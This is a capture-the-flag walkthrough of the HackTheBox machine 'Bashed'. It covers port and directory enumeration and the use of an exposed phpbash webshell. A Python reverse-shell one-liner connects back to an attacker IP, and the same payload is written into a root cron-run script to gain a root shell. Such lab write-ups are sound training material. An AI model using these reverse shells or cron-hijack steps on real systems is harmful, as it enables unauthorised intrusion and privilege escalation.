> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/hackthebox/linux/bashed.md).

# Bashed

## Nmap

```
sudo nmap 10.10.10.68 -p- -sS -sV   

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Over on port 80 the root page directs us to Arrexel's development site which appears to be a blog. The first post mentions a webshell called phpbash.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c7fec8d1bb16ddea6368658ee2ad952df64abd54%2Fimage.png?alt=media)

Following the page we see some further information regarding phpbash with a GitHub link.

![http://10.10.10.68/single.html#](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b9df312f33d4d035b6dfd9f7276c55cf4f2328d4%2Fimage.png?alt=media)

Running dirsearch.py against the web server with the big.txt wordlists from Seclist. we find the `/dev/` directory.

```
sudo python3 dirsearch.py -u http://10.10.10.68 -w /usr/share/seclists/Discovery/Web-Content/big.txt --full-url -t 75
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fcc84e80c892642813d763c6c266162aa14e7434%2Fimage.png?alt=media)

Browsing to the directory we see an index page containing the phpbash.php shell mentioned earlier.

![http://10.10.10.68/dev/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-de4d97bfb912736f95d1871526e55fcdd89c2f6e%2Fimage.png?alt=media)

Clicking on the phpbash.php takes us to the webshell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-69dd6c1e68cf82e82ff9a9591b2b936e0a9e56e3%2Fimage.png?alt=media)

Next, ideally we will get a proper reverse shell. I checked if python was installed with `which python` command and this was confirmed as being installed.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1cd530bbf7212a0bac90af810047f47f4af00124%2Fimage.png?alt=media)

I then set a `netcat` listener on my attacking machine and then executed the command below into the webshell.

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9cc89810e53c06c1a384fde10601f7635fa1caa5%2Fimage.png?alt=media)

From here checking `sudo -l` for `sudo` permissions shows that we can run all commands as the user 'scriptmanager' without providing a password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6ca63a2b4d2eabfd179b0ea0b6b3158ea4a43a04%2Fimage.png?alt=media)

As such running the command below will spawn us a bash shell as the user scriptmanager.

```
sudo -u scriptmanager /bin/bash
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c435f7b0afe1b5da3f376e309777f68e81511ae1%2Fimage.png?alt=media)

From here I noticed the non default 'scripts' folder in '/'.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ab4d68a86b44f59ef8d90bcad6f24a559a9720f8%2Fimage.png?alt=media)

Which contains two files; test.py and test.txt

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-121c5b38580689358245d3c0b9069d4f6f1b7f66%2Fimage.png?alt=media)

When viewing the contents it looks like when test.py is executed it created a test.txt file and writes the contents 'testing 123!' to the file

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-173f491612c1f3c313dfba10d9d4d603619a79d2%2Fimage.png?alt=media)

Providing this is executed with elevated privileges we insert a python reverse shell into test.py as we are the owner of the file. I uploaded pspy64 to the target system to check if these are being executed by a cronjob.

After uploading the binary and setting the correct executable permissions I executed pspy64 and was presented with the following:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f5745ae3b6013b51ef2c793c66d4af0141b6efd6%2Fimage.png?alt=media)

We see that a process is being executed on a regular interval that is executed any file ending in .py. Because we are the owner of test.py I will simply echo out the contents and replace with a python reverse shell.

```
echo  > test.py
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' > test.py
```

I then set a listener to port 53 on my attacking machine and soon after caught a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ebc63c4a2f2663b331e0a2cfe30cdc36ed424417%2Fimage.png?alt=media)